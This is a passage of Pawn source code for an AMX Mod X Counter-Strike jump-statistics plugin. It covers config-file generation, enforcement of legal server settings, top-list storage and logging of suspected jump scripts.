	uq_speed_allteam=get_pcvar_num(kz_uq_speed_allteam);
	//uq_edgefriction=get_pcvar_num(edgefriction);
	//uq_mp_footsteps=get_pcvar_num(mp_footsteps);
	//uq_sv_cheats=get_pcvar_num(sv_cheats);
	//uq_sv_gravity=get_pcvar_num(sv_gravity);
	//uq_sv_airaccelerate=get_pcvar_num(sv_airaccelerate);
	//uq_sv_maxspeed=get_pcvar_num(sv_maxspeed);
	//uq_sv_stepsize=get_pcvar_num(sv_stepsize);
	//uq_sv_maxvelocity=get_pcvar_num(sv_maxvelocity);
	
	if(!file_exists(cvarfiles))
	{
		kz_make_cvarexec(cvarfiles);
	}
	
	new plugin_id=find_plugin_byfile("uq_jumpstats_tops.amxx");
	new filename[33],plugin_name[33],plugin_author[33],status[33];
	
	if(plugin_id==-1)
	{
		log_amx("Can't find uq_jumpstats_tops.amxx");
		server_print("[uq_jumpstats] Can't find uq_jumpstats_tops.amxx");
	}
	else
	{
		get_plugin(plugin_id,filename,32,plugin_name,32,plugin_ver,32,plugin_author,32,status,32); 
		
		if(!equali(plugin_ver,VERSION))
		{
			set_task(5.0,"Wrong_ver");
		}
	}

	if( leg_settings )
	{
		set_cvar_string("edgefriction", "2");
		set_cvar_string("mp_footsteps", "1");
		set_cvar_string("sv_cheats", "0");
		set_cvar_string("sv_gravity", "800");
		
		if(uq_airaccel==0 || uq_airaccel==10)
			set_cvar_string("sv_airaccelerate", "10");
		else if(uq_airaccel==1 || uq_airaccel==100)
			set_cvar_string("sv_airaccelerate", "100");
		else 
		{
			new str[10];
			num_to_str(uq_airaccel,str,9);
			set_cvar_string("sv_airaccelerate", str);
		}
		
		set_cvar_string("sv_maxspeed", "320");
		set_cvar_string("sv_stepsize", "18");
		set_cvar_string("sv_maxvelocity", "2000");
	}

	new dataDir[64];
	get_datadir(dataDir, 63);
	format(ljsDir, 63, "%s/Topljs", dataDir);
		
	if( !dir_exists(ljsDir) )
		mkdir(ljsDir);
			
	if(kz_sql==1)
	{
		set_task(0.2, "stats_sql");
		set_task(1.0, "save_info_sql");
		JumpPlayers = TrieCreate();
	}
	else if(kz_sql==0)
	{
		JData = TrieCreate();
		JData_Block = TrieCreate();
		
		format(ljsDir_block, 63, "%s/Topljs/block_tops", dataDir);
			
		if( !dir_exists(ljsDir_block) )
			mkdir(ljsDir_block);
			
		for(new i=0;i<NTECHNUM;i++)
		{
			read_tops(Type_List[i],i);
			read_tops_block(Type_List[i],i);
		}
			
		for(new j=0;j<8;j++)
		{
			new mxspd[11];
			num_to_str(weapon_maxspeed(j),mxspd,10);
			
			format(ljsDir_weapon[j], 63, "%s/Top_weapon_speed_%s", ljsDir,mxspd);
			format(ljsDir_block_weapon[j], 63, "%s/Top_weapon_speed_%s", ljsDir_block,mxspd);
			
			if( !dir_exists(ljsDir_weapon[j]) )
				mkdir(ljsDir_weapon[j]);
			if( !dir_exists(ljsDir_block_weapon[j]) )
				mkdir(ljsDir_block_weapon[j]);
				
			for(new i=0;i<NWPNTECHNUM;i++)
			{
				read_tops_weapon(Type_List_weapon[i],i,j);
				read_tops_block_weapon(Type_List_weapon[i],i,j);
			}
			read_tops_block_weapon("hj",9,j);	
		}
	}	
}
public Wrong_ver()
{
	for(new i=1;i<get_maxplayers();i++)
	{
		if(is_user_alive(i) && is_user_connected(i))
			ColorChat(i, BLUE, "^x04Version^x03 uq_jumpstats.amxx^x01(%s)^x04 different from^x03 uq_jumpstats_tops.amxx^x01(%s)",VERSION,plugin_ver);
	}
	set_task(5.0,"Wrong_ver");
}

public plugin_precache()
{
	gBeam = precache_model( "sprites/zbeam6.spr" );
	precache_sound( "misc/impressive.wav" );
	precache_sound( "misc/perfect.wav" );
	precache_sound( "misc/mod_godlike.wav" );
	precache_sound( "misc/holyshit.wav" );
	precache_sound( "misc/mod_wickedsick.wav" );
	
	
	precache_model( "models/hairt.mdl" );
	heystats = precache_model( "sprites/zbeam6.spr" );
}

stock kz_make_cvarexec(const config[])
{
	new f = fopen(config, "wt");
	new stringscvars[256],s_host[101],s_pass[101],s_user[101],s_db[101];
	new s_x[10],s_y[10];
	
	fprintf(f, "// Config of JumpStats by BorJomi^n");
	fprintf(f, "// Version %s^n",VERSION);
	fprintf(f, "^n");
	
	fprintf(f, "// Players commands^n");
	fprintf(f, "^n");
	fprintf(f, "// say /strafes - on/off statistics Strafes^n"); 
	fprintf(f, "// say /showpre - on/off display prestrafe^n"); 
	fprintf(f, "// say /ducks - on/off statistics ducks for multi cj^n"); 
	fprintf(f, "// say /ljstats - on/off the main statistics^n"); 
	fprintf(f, "// say /uqversion - show version^n"); 
	fprintf(f, "// say /beam - on/off showing the trajectory of the jump^n"); 
	fprintf(f, "// say /speed - on/off display of speed player^n"); 
	fprintf(f, "// say /colorchat - on/off display of color in the chat messages from other players^n"); 
	fprintf(f, "// say /ljsmenu - open the configuration menu^n"); 
	fprintf(f, "// say /ljtop - open TOP10 menu^n");
	fprintf(f, "// say /bhopwarn - on/off show message when you bhop prestrafe is fail^n");
	fprintf(f, "// say /multibhop - on/off show multi bhop pre^n");
	fprintf(f, "// say /duckspre - on/off display prestrafe after each duck^n");
	fprintf(f, "// say /ljpre - on/off display prestrafe for LJ^n");
	fprintf(f, "// say /failedge - on/off display jumpoff wehn failed without bolock^n");
	fprintf(f, "// say /edge - on/off display jumpoff,block,landing^n");
	fprintf(f, "// say /heigh - on/off display heigh^n");
	fprintf(f, "// say /mylj - on/off myljtop menu^n");
	fprintf(f, "// say /wpnlj - on/off weapon top menu^n");
	fprintf(f, "// say /jof - on/off showing Jumpoff when press jump button^n");
	fprintf(f, "// say /joftr - on/off Jumpoff trainer^n");
	fprintf(f, "// say /blocktop - on/off block tops menu^n");
	fprintf(f, "// say /jheigh - on/off showing jump heigh^n");
	fprintf(f, "// say /istrafe - on/off InGame strafe stats^n");
	fprintf(f, "// say /speedt - Big/Small Speed Type^n");
	fprintf(f, "^n");
	
	fprintf(f, "// Admin command^n");
	fprintf(f, "^n");
	fprintf(f, "// amx_reset_uqtops – reset all tops^n");
	fprintf(f, "^n");
	
	fprintf(f, "// Cvars^n");
	fprintf(f, "^n");
	fprintf(f, "// What should work when players connect to the server:^n");
	fprintf(f, "// 	0 = none^n"); 
	fprintf(f, "// 	a = colorchat^n"); 
	fprintf(f, "// 	b = stats^n"); 
	fprintf(f, "// 	c = speed^n"); 
	fprintf(f, "// 	d = showpre^n"); 
	fprintf(f, "// 	e = strafe stats^n"); 
	fprintf(f, "// 	f = beam^n"); 
	fprintf(f, "// 	g = duck stats for mcj^n"); 
	fprintf(f, "// 	h = shows message when your bhop prestrafe is failed^n");
	fprintf(f, "// 	i = show multibhop pre^n");
	fprintf(f, "// 	j = show prestrafe after duck^n");
	fprintf(f, "// 	k = show lj prestrafe^n");
	fprintf(f, "// 	l = show edge^n");
	fprintf(f, "// 	m = show edge when fail (without block)^n");
	fprintf(f, "// 	n = enable sounds^n");
	fprintf(f, "// 	o = enable InGame strafe stats^n");
	
	get_pcvar_string(kz_uq_connect, stringscvars, 255);
	
	fprintf(f, "kz_uq_connect ^"%s^"^n", stringscvars);
	fprintf(f, "^n");
	
	fprintf(f, "// Min distance^n");
	fprintf(f, "kz_uq_min_dist %i^n", min_distance);
	fprintf(f, "^n");
	
	fprintf(f, "// Min distance (Ups bhop, MultiBhop, Real Ladder Bhop, Ducks Bhop, Ladder Jump)^n");
	fprintf(f, "kz_uq_min_dist_other %i^n", min_distance_other);
	fprintf(f, "^n");
	
	fprintf(f, "// Max distance^n");
	fprintf(f, "kz_uq_max_dist %i^n", max_distance);
	fprintf(f, "^n");
	
	fprintf(f, "// Showing info about block in ColorChat messages^n");
	fprintf(f, "kz_uq_block_chat_show %i^n", uq_block_chat_show);
	fprintf(f, "kz_uq_block_chat_min %i //minimum block to show (block more then 0=good,1=pro,2=holy,3=leet,4=god distance cvars)^n", uq_block_chat_min);
	fprintf(f, "^n");
	
	fprintf(f, "// Enable stats for admins only^n");
	fprintf(f, "kz_uq_only_admins %i^n", uq_admins);
	fprintf(f, "^n");
	
	fprintf(f, "// Enable stats for team (0=all,1=T,2=CT)^n");
	fprintf(f, "kz_uq_team %i^n", uq_team);
	fprintf(f, "^n");
	
	fprintf(f, "// Enable cmd /speed for all team^n");
	fprintf(f, "kz_uq_speed_allteam %i^n", uq_speed_allteam);
	fprintf(f, "^n");
	
	fprintf(f, "// Allow highlighting after landing (1 = on, 0 = off; works for holy, leet and god distances)^n");
	fprintf(f, "kz_uq_light %i^n", uq_light);
	fprintf(f, "^n");
	
	fprintf(f, "// Allow sounds (1 = on, 0 = off)^n");
	fprintf(f, "kz_uq_sounds %i^n",uq_sounds);
	fprintf(f, "^n");
	
	fprintf(f, "// Allow doing ScreenShot if Player going in Top (not work with kz_uq_sql <1> and for map top)^n");
	fprintf(f, "kz_uq_screenshoot %i^n",uq_screen);
	fprintf(f, "^n");
	
	fprintf(f, "// Allow showing info about stats when you record demo^n");
	fprintf(f, "kz_uq_demo_info %i^n",uq_info);
	fprintf(f, "^n");

	fprintf(f, "// How work Sql Module (1=SQL module enable, 0=disable)^n");
	fprintf(f, "kz_uq_sql %i^n",kz_sql);
	fprintf(f, "^n");

	fprintf(f, "// Enable/Disable Web Top (1=Enable,0=Disable) - if you want standart tops with sql module, turn of web mod^n");
	fprintf(f, "kz_uq_web %i^n",web_sql);
	fprintf(f, "^n");
	
	get_pcvar_string(uq_host, s_host, 100);
	get_pcvar_string(uq_user, s_user, 100);
	get_pcvar_string(uq_pass, s_pass, 100);
	get_pcvar_string(uq_db, s_db, 100);
	
	fprintf(f, "// Options for Sql Module^n");
	fprintf(f, "kz_uq_host ^"%s^"^n",s_host);
	fprintf(f, "kz_uq_user ^"%s^"^n",s_user);
	fprintf(f, "kz_uq_pass ^"%s^"^n",s_pass);
	fprintf(f, "kz_uq_db ^"%s^"^n",s_db);
	fprintf(f, "// This Option used only in Showing Top(sql), change this if you use another url on you web server^n");
	get_pcvar_string(kz_uq_url, stringscvars, 255);
	fprintf(f, "kz_uq_url ^"%s^"^n",stringscvars);
	fprintf(f, "kz_uq_update_auth %i //Update in DB Steam and Ip^n",uq_update_auth);
	fprintf(f, "^n");
		
	fprintf(f, "// How to save Top10 (2 = steamid, 1 = Ip, 0 = name)^n");
	fprintf(f, "kz_uq_top_by %i^n",rankby);
	fprintf(f, "^n");
	
	fprintf(f, "kz_uq_save_top %i //On/Off TOP10 (1 = on, 0 = off)^n",kz_top);  
	fprintf(f, "kz_uq_maptop %i  //On/Off MapTop (1 = on, 0 = off)^n",kz_map_top);
	fprintf(f, "kz_uq_save_extras_top %i //On/Off Extra Tops (1 = on, 0 = off)^n",kz_extras);
	fprintf(f, "kz_uq_weapons_top %i //On/Off Weapon Tops (1 = on, 0 = off)^n",kz_weapon);	
	fprintf(f, "kz_uq_block_top %i //On/Off Block Tops (1 = on, 0 = off)^n",kz_block_top);	
	fprintf(f, "kz_uq_block_weapons %i //On/Off Block Tops for other weapons (1 = on, 0 = off)^n",kz_wpn_block_top);	
	fprintf(f, "^n");
	
	fprintf(f, "// Allow check to legal settings (1 = on, 0 = off)^n");
	fprintf(f, "kz_uq_legal_settings %i^n",leg_settings);
	fprintf(f, "kz_uq_fps %i //(1=more than 100 FPS jump does not count, 0=count)^n",uq_fps); 
	fprintf(f, "kz_uq_bug_check %i //Allow checking for bug distance^n",uq_bug);
	fprintf(f, "^n");
	
	fprintf(f, "// Anti script(Beta)^n");
	fprintf(f, "kz_uq_script_detection %i^n",uq_script_detection);
	fprintf(f, "kz_uq_script_work %i //antiscript works if player distance more then (0=good,1=pro,2=holy,3=leet,4=god distance)^n",uq_script_work);
	fprintf(f, "kz_uq_script_notify %i //print messages to all people on server with scripter name^n",uq_script_notify);
	fprintf(f, "kz_uq_script_punishment %i //(0=nothing,1=kick,2=ban)^n",uq_script_punishment);
	fprintf(f, "kz_uq_ban_type %i //(0=standart bans, 1=amxbans)^n",uq_ban_type);
	fprintf(f, "kz_uq_ban_minutes %i //ban time in minutes^n",uq_ban_minutes);
	fprintf(f, "kz_uq_ban_authid %i //(ban by 0=name,1=ip,2=steam)^n",uq_ban_authid);
	fprintf(f, "^n");

	get_pcvar_string(kz_prefix, stringscvars, 255);
	
	fprintf(f, "// The prefix for all messages in chat^n"); 
	fprintf(f, "kz_uq_prefix ^"%s^"^n", stringscvars);
	fprintf(f, "^n");
	
	fprintf(f, "// How to set up a server by value sv_airaccelerate (Varible=xx, but var=0 reserved for 10aa, var=1 for 100aa)^n");
	fprintf(f, "kz_uq_airaccelerate %i^n",uq_airaccel);
	fprintf(f, "^n");
	
	fprintf(f, "// On/Off Showing stats with noslowdown^n");
	fprintf(f, "kz_uq_noslowdown %i^n",uq_noslow);
	fprintf(f, "^n");
	
	fprintf(f, "// Max strafes (if players strafes>Max, stats doesnt shows)^n");
	fprintf(f, "kz_uq_max_strafes %i^n",NSTRAFES1);
	fprintf(f, "^n");

	fprintf(f, "// Allow InGame Strafe Stats (laggy feature)^n");
	fprintf(f, "kz_uq_istrafes %i^n",uq_istrafe);
	fprintf(f, "^n");
	
	fprintf(f, "// Color Hud message statistics when you jump, in the RGB^n");
	fprintf(f, "kz_uq_stats_red %i^n",stats_r);	
	fprintf(f, "kz_uq_stats_green %i^n",stats_g);
	fprintf(f, "kz_uq_stats_blue %i^n",stats_b);
	fprintf(f, "^n");
	
	fprintf(f, "// Color Hud messages Fail statistics when you jump, in the RGB^n");
	fprintf(f, "kz_uq_failstats_red %i^n",f_stats_r);		
	fprintf(f, "kz_uq_failstats_green %i^n",f_stats_g);
	fprintf(f, "kz_uq_failstats_blue %i^n",f_stats_b);
	fprintf(f, "^n");
	
	fprintf(f, "// Color Hud messages prestrafe, in the RGB^n");
	fprintf(f, "kz_uq_prestrafe_red %i^n",prest_r);	
	fprintf(f, "kz_uq_prestrafe_green %i^n",prest_g);
	fprintf(f, "kz_uq_prestrafe_blue %i^n",prest_b);
	fprintf(f, "^n");
	
	fprintf(f, "// Color of speed, in the RGB^n");
	fprintf(f, "kz_uq_speed_red %i^n",speed_r);		
	fprintf(f, "kz_uq_speed_green %i^n",speed_g);
	fprintf(f, "kz_uq_speed_blue %i^n",speed_b);
	fprintf(f, "^n");
	
	fprintf(f, "//Coordinates Hud messages^n");
	fprintf(f, "^n");
	fprintf(f, "//General stats jump^n");
	
	get_pcvar_string(kz_stats_x, s_x, 9);
	get_pcvar_string(kz_stats_y, s_y, 9);
	
	fprintf(f, "kz_uq_stats_x ^"%s^"^n", s_x);
	fprintf(f, "kz_uq_stats_y ^"%s^"^n", s_y);
	fprintf(f, "^n");
	fprintf(f, "//Strafes Stats^n");
	
	get_pcvar_string(kz_strafe_x, s_x, 9);
	get_pcvar_string(kz_strafe_y, s_y, 9);
	
	fprintf(f, "kz_uq_strafe_x ^"%s^"^n", s_x);
	fprintf(f, "kz_uq_strafe_y ^"%s^"^n", s_y);
	fprintf(f, "^n");
	fprintf(f, "//Ducks Stats for Multi dd^n");
	
	get_pcvar_string(kz_duck_x, s_x, 9);
	get_pcvar_string(kz_duck_y, s_y, 9);
	
	fprintf(f, "kz_uq_duck_x ^"%s^"^n", s_x);
	fprintf(f, "kz_uq_duck_y ^"%s^"^n", s_y); 
	fprintf(f, "^n");
	fprintf(f, "//Speed^n");
	
	get_pcvar_string(kz_speed_x, s_x, 9);
	get_pcvar_string(kz_speed_y, s_y, 9);
	
	fprintf(f, "kz_uq_speed_x ^"%s^"^n", s_x);
	fprintf(f, "kz_uq_speed_y ^"%s^"^n", s_y); 
	fprintf(f, "^n");
	fprintf(f, "//Prestrafe^n");
	
	get_pcvar_string(kz_prest_x, s_x, 9);
	get_pcvar_string(kz_prest_y, s_y, 9);
	
	fprintf(f, "kz_uq_prestrafe_x ^"%s^"^n", s_x);
	fprintf(f, "kz_uq_prestrafe_y ^"%s^"^n", s_y); 
	fprintf(f, "^n");
	
	fprintf(f, "// Channel Hud messages of general stats jump^n");
	fprintf(f, "kz_uq_hud_stats %i^n",h_stats);
	fprintf(f, "^n");
	fprintf(f, "// Channel Hud messages of strafes Stats^n");
	fprintf(f, "kz_uq_hud_strafe %i^n",h_streif);
	fprintf(f, "^n");
	fprintf(f, "// Channel Hud messages of ducks Stats for Multi CountJump^n");
	fprintf(f, "kz_uq_hud_duck %i^n",h_duck);
	fprintf(f, "^n");
	fprintf(f, "// Channel Hud messages of speed^n");
	fprintf(f, "kz_uq_hud_speed %i^n",h_speed);
	fprintf(f, "^n");
	fprintf(f, "// Channel Hud messages of prestafe^n");
	fprintf(f, "kz_uq_hud_pre %i^n",h_prest);
	fprintf(f, "^n");
	
	fprintf(f, "// For what technique stats enable^n");
	fprintf(f, "kz_uq_lj %i^n",uq_lj);	
	fprintf(f, "kz_uq_cj %i^n",uq_cj);	
	fprintf(f, "kz_uq_bj %i^n",uq_bj);	
	fprintf(f, "kz_uq_sbj %i^n",uq_sbj);	
	fprintf(f, "kz_uq_wj %i^n",uq_wj);	
	fprintf(f, "kz_uq_dcj %i^n",uq_dcj);	
	fprintf(f, "kz_uq_mcj %i^n",uq_mcj);	
	fprintf(f, "kz_uq_drbj %i^n",uq_drbj);		
	fprintf(f, "kz_uq_drcj %i^n",uq_drcj);	
	fprintf(f, "kz_uq_ladder %i^n",uq_ladder);	
	fprintf(f, "kz_uq_ldbj %i^n",uq_ldbj);	
	fprintf(f, "^n");
	
	fprintf(f, "// Max,Min block to show in edge^n");
	fprintf(f, "kz_uq_max_block %i^n",uq_maxedge);	
	fprintf(f, "kz_uq_min_block %i^n",uq_minedge);	
	fprintf(f, "^n");
	
	fprintf(f, "// Minimum Prestrafe to show^n");
	fprintf(f, "kz_uq_min_pre %i^n",uq_min_pre);		
	fprintf(f, "^n");
	
	fprintf(f, "// For what Extra technique stats enable^n");
	fprintf(f, "kz_uq_scj %i^n",uq_drsbj);
	fprintf(f, "kz_uq_dscj %i^n",uq_dscj);	
	fprintf(f, "kz_uq_mscj %i^n",uq_mscj);	
	fprintf(f, "kz_uq_dropscj %i^n",uq_dropscj);	
	fprintf(f, "kz_uq_dropdscj %i^n",uq_dropdscj);	
	fprintf(f, "kz_uq_dropmscj %i^n",uq_dropmscj);	
	fprintf(f, "kz_uq_duckbhop %i^n",uq_duckbhop);	
	fprintf(f, "kz_uq_bhopinduck %i^n",uq_bhopinduck);	
	fprintf(f, "kz_uq_realldbhop %i^n",uq_realldbhop);	
	fprintf(f, "kz_uq_upbj %i^n",uq_upbj);	
	fprintf(f, "kz_uq_upsbj %i^n",uq_upsbj);	
	fprintf(f, "kz_uq_upbhopinduck %i^n",uq_upbhopinduck);	
	fprintf(f, "kz_uq_multibhop %i^n",uq_multibhop);
	fprintf(f, "kz_uq_dropdcj %i^n",uq_dropdcj);	
	fprintf(f, "kz_uq_dropmcj %i^n",uq_dropmcj);	
	fprintf(f, "^n");
	
	fprintf(f, "// Color for chat messages of jump distances (good = grey, pro = green, holy = blue, leet = red, god = red (with sound godlike for all players))^n");
	fprintf(f, "// LongJump/HighJump^n");
	fprintf(f, "kz_uq_good_lj %i^n",lj_good_dist);	
	fprintf(f, "kz_uq_pro_lj %i^n",lj_pro_dist);
	fprintf(f, "kz_uq_holy_lj %i^n",lj_holy_dist);
	fprintf(f, "kz_uq_leet_lj %i^n",lj_leet_dist);
	fprintf(f, "kz_uq_god_lj %i^n",lj_god_dist);
	fprintf(f, "^n");

	fprintf(f, "// CountJump^n");
	fprintf(f, "kz_uq_good_cj %i^n",cj_good_dist);	
	fprintf(f, "kz_uq_pro_cj %i^n",cj_pro_dist);
	fprintf(f, "kz_uq_holy_cj %i^n",cj_holy_dist);
	fprintf(f, "kz_uq_leet_cj %i^n",cj_leet_dist);
	fprintf(f, "kz_uq_god_cj %i^n",cj_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// Double CountJump/Multi CountJump^n");
	fprintf(f, "kz_uq_good_dcj %i^n",dcj_good_dist);	
	fprintf(f, "kz_uq_pro_dcj %i^n",dcj_pro_dist);
	fprintf(f, "kz_uq_holy_dcj %i^n",dcj_holy_dist);
	fprintf(f, "kz_uq_leet_dcj %i^n",dcj_leet_dist);
	fprintf(f, "kz_uq_god_dcj %i^n",dcj_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// LadderJump^n");
	fprintf(f, "kz_uq_good_ladder %i^n",ladder_good_dist);	
	fprintf(f, "kz_uq_pro_ladder %i^n",ladder_pro_dist);
	fprintf(f, "kz_uq_holy_ladder %i^n",ladder_holy_dist);
	fprintf(f, "kz_uq_leet_ladder %i^n",ladder_leet_dist);
	fprintf(f, "kz_uq_god_ladder %i^n",ladder_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// BhopJump/StandUp BhopJump^n");
	fprintf(f, "kz_uq_good_bj %i^n",bj_good_dist);	
	fprintf(f, "kz_uq_pro_bj %i^n",bj_pro_dist);
	fprintf(f, "kz_uq_holy_bj %i^n",bj_holy_dist);
	fprintf(f, "kz_uq_leet_bj %i^n",bj_leet_dist);
	fprintf(f, "kz_uq_god_bj %i^n",bj_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// WeirdJump/Drop CountJump(double,multi)/Ladder BhopJump^n");
	fprintf(f, "kz_uq_good_wj %i^n",wj_good_dist);	
	fprintf(f, "kz_uq_pro_wj %i^n",wj_pro_dist);
	fprintf(f, "kz_uq_holy_wj %i^n",wj_holy_dist);
	fprintf(f, "kz_uq_leet_wj %i^n",wj_leet_dist);
	fprintf(f, "kz_uq_god_wj %i^n",wj_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// Drop BhopJump^n");
	fprintf(f, "kz_uq_good_dbj %i^n",dbj_good_dist);	
	fprintf(f, "kz_uq_pro_dbj %i^n",dbj_pro_dist);
	fprintf(f, "kz_uq_holy_dbj %i^n",dbj_holy_dist);
	fprintf(f, "kz_uq_leet_dbj %i^n",dbj_leet_dist);
	fprintf(f, "kz_uq_god_dbj %i^n",dbj_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// StandUp CountJump (Double or Multi StandUp CountJump=SCJ+10units)(if 100aa all cvar dist +10 units)^n");
	fprintf(f, "kz_uq_good_scj %i^n",scj_good_dist);	
	fprintf(f, "kz_uq_pro_scj %i^n",scj_pro_dist);
	fprintf(f, "kz_uq_holy_scj %i^n",scj_holy_dist);
	fprintf(f, "kz_uq_leet_scj %i^n",scj_leet_dist);
	fprintf(f, "kz_uq_god_scj %i^n",scj_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// Drop StandUp CountJump(double,multi)^n");
	fprintf(f, "kz_uq_good_dropscj %i^n",dropscj_good_dist);	
	fprintf(f, "kz_uq_pro_dropscj %i^n",dropscj_pro_dist);
	fprintf(f, "kz_uq_holy_dropscj %i^n",dropscj_holy_dist);
	fprintf(f, "kz_uq_leet_dropscj %i^n",dropscj_leet_dist);
	fprintf(f, "kz_uq_god_dropscj %i^n",dropscj_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// Up Bhop^n");
	fprintf(f, "kz_uq_good_upbj %i^n",upbj_good_dist);	
	fprintf(f, "kz_uq_pro_upbj %i^n",upbj_pro_dist);
	fprintf(f, "kz_uq_holy_upbj %i^n",upbj_holy_dist);
	fprintf(f, "kz_uq_leet_upbj %i^n",upbj_leet_dist);
	fprintf(f, "kz_uq_god_upbj %i^n",upbj_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// Up StandBhop^n");
	fprintf(f, "kz_uq_good_upsbj %i^n",upsbj_good_dist);	
	fprintf(f, "kz_uq_pro_upsbj %i^n",upsbj_pro_dist);
	fprintf(f, "kz_uq_holy_upsbj %i^n",upsbj_holy_dist);
	fprintf(f, "kz_uq_leet_upsbj %i^n",upsbj_leet_dist);
	fprintf(f, "kz_uq_god_upsbj %i^n",upsbj_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// Bhop In Duck(Up Bhop In Duck)^n");
	fprintf(f, "kz_uq_good_bhopinduck %i^n",bhopinduck_good_dist);	
	fprintf(f, "kz_uq_pro_bhopinduck %i^n",bhopinduck_pro_dist);
	fprintf(f, "kz_uq_holy_bhopinduck %i^n",bhopinduck_holy_dist);
	fprintf(f, "kz_uq_leet_bhopinduck %i^n",bhopinduck_leet_dist);
	fprintf(f, "kz_uq_god_bhopinduck %i^n",bhopinduck_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// Duck Bhop^n");
	fprintf(f, "kz_uq_good_duckbhop %i^n",duckbhop_good_dist);	
	fprintf(f, "kz_uq_pro_duckbhop %i^n",duckbhop_pro_dist);
	fprintf(f, "kz_uq_holy_duckbhop %i^n",duckbhop_holy_dist);
	fprintf(f, "kz_uq_leet_duckbhop %i^n",duckbhop_leet_dist);
	fprintf(f, "kz_uq_god_duckbhop %i^n",duckbhop_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// Real Ladder Bhop^n");
	fprintf(f, "kz_uq_good_realldbhop %i^n",real_good_dist);	
	fprintf(f, "kz_uq_pro_realldbhop %i^n",real_pro_dist);
	fprintf(f, "kz_uq_holy_realldbhop %i^n",real_holy_dist);
	fprintf(f, "kz_uq_leet_realldbhop %i^n",real_leet_dist);
	fprintf(f, "kz_uq_god_realldbhop %i^n",real_god_dist);
	fprintf(f, "^n");
	
	fclose(f);
	
	server_cmd("exec %s", config);
	server_exec();
}

#include <uq_jumpstats_sql.inc>

public Log_script(f_frames,cheated_frames,id,Float:log_dist,Float:log_max,Float:log_pre,log_str,log_sync,jump_type_str[],wpn_str[],punishments[],t_str[40*NSTRAFES])
{
	new Date[20];
	get_time("%m/%d/%y %H:%M:%S", Date, 19)	;
	new username[33];
	get_user_name(id, username, 32);
	new userip[16];
	get_user_ip(id, userip, 15, 1);
	new authid[35];
	get_user_authid(id, authid, 34);
	new main_text[512];
	
	write_file(logs_path, "---------------------------------------------------", -1);
	formatex(main_text, 511, "%s |%s |%s |%s |%s |%s ^n", Date,username, authid, userip, "Script",punishments);
	write_file(logs_path, main_text, -1);
	formatex(main_text, 511, "Type: %s ::: Weapon: %s^nDistance: %.03f Maxspeed: %.03f Prestrafe: %.03f Strafes: %d Sync: %d^n",jump_type_str,wpn_str,log_dist,log_max,log_pre,log_str,log_sync);
	write_file(logs_path, main_text, -1);
	formatex(main_text, 511, "Total Frames: %d^nCheated Frames: %d^n",f_frames,cheated_frames);
	write_file(logs_path, main_text, -1);
	
	new strf[40];
	for(new ll=INFO_ONE; (ll <= log_str) && (ll < NSTRAFES);ll++)
	{
		strtok(t_str,strf,40,t_str,40*NSTRAFES,'^n');
		replace(strf,40,"^n","");
		write_file(logs_path, strf, -1);
	}
	write_file(logs_path, "---------------------------------------------------", -1);
	
	if(uq_script_notify)
	{
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SCRIPTNOTIFY",prefix,username,jump_type_str);
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_SCRIPTNOTIFY",prefix,username,jump_type_str);
		Color_Chat_Lang(id,GREY,"%L",LANG_SERVER,"UQSTATS_SCRIPTNOTIFY",prefix,username,jump_type_str);
	}
}
public krasnota(id)
{                
		message_begin(MSG_ONE, get_user_msgid("ScreenFade"), _, id);
		write_short(1<<10);
		write_short(1<<10);
		write_short(0x0000);
		write_byte(255);
		write_byte(0);
		write_byte(0);
		write_byte(110);
		message_end();
}

public sineva(id)
{                
		message_begin(MSG_ONE, get_user_msgid("ScreenFade"), _, id);
		write_short(1<<10);
		write_short(1<<10);
		write_short(0x0000);
		write_byte(0);
		write_byte(0);
		write_byte(255);
		write_byte(110);
		message_end();
}

public tskFps(id)
{
	if( leg_settings)
	{
		id-=434490;
		client_cmd(id, "developer 0;fps_max 101;cl_forwardspeed 400;cl_sidespeed 400;cl_backspeed 400");
	}
}
public server_frame()
{
	if( leg_settings )
	{
		if( get_pcvar_num(edgefriction) != 2 )
			set_pcvar_num(edgefriction, 2);
		
		if( get_pcvar_num(mp_footsteps) != 1 )
			set_pcvar_num(mp_footsteps, 1);
		
		if( get_pcvar_num(sv_cheats) != 0 )
			set_pcvar_num(sv_cheats, 0);
		
		if( get_pcvar_num(sv_gravity)!= 800 )
			set_pcvar_num(sv_gravity, 800);
		
		if((uq_airaccel==0 || uq_airaccel==10) && get_pcvar_num(sv_airaccelerate) != 10 )
			set_pcvar_num(sv_airaccelerate, 10);
		else if((uq_airaccel==1 || uq_airaccel==100) && get_pcvar_num(sv_airaccelerate) != 100 )
			set_pcvar_num(sv_airaccelerate, 100);
		else if(get_pcvar_num(sv_airaccelerate) != uq_airaccel && uq_airaccel!=0 && uq_airaccel!=1)
			set_pcvar_num(sv_airaccelerate, uq_airaccel);
		
		if( get_pcvar_num(sv_maxspeed) != 320 )
			set_pcvar_num(sv_maxspeed, 320);
		
		if( get_pcvar_num(sv_stepsize) != 18 )
			set_pcvar_num(sv_stepsize, 18);
		
		if( get_pcvar_num(sv_maxvelocity) != 2000 )
			set_pcvar_num(sv_maxvelocity, 2000);
	}
}
public client_putinserver(id)
{
	if(speedon[id] && !is_user_hltv(id) && !is_user_bot(id))// && is_user_alive(id) && is_user_bot(id) && is_user_hltv())
	{
		set_task(0.1, "DoSpeed", id+212299, "", 0, "b", 0);
	}
	
	get_user_name(id, g_playername[id], 63);
	get_user_ip(id, g_playerip[id], 15, 1);
	get_user_authid(id, g_playersteam[id], 35);

	if(kz_sql == 1)
	{
		player_load_info(id);
	}
	
	if(is_user_admin(id))
	{
		player_admin[id]=true;
	}
}
public Dojof(taskid)
{
	taskid-=212398;
	
	static alive, spectatedplayer;
	alive = g_alive[taskid];
	spectatedplayer = get_spectated_player(taskid);
	
	if( (alive || spectatedplayer > 0))
	{
		new show_id;
		
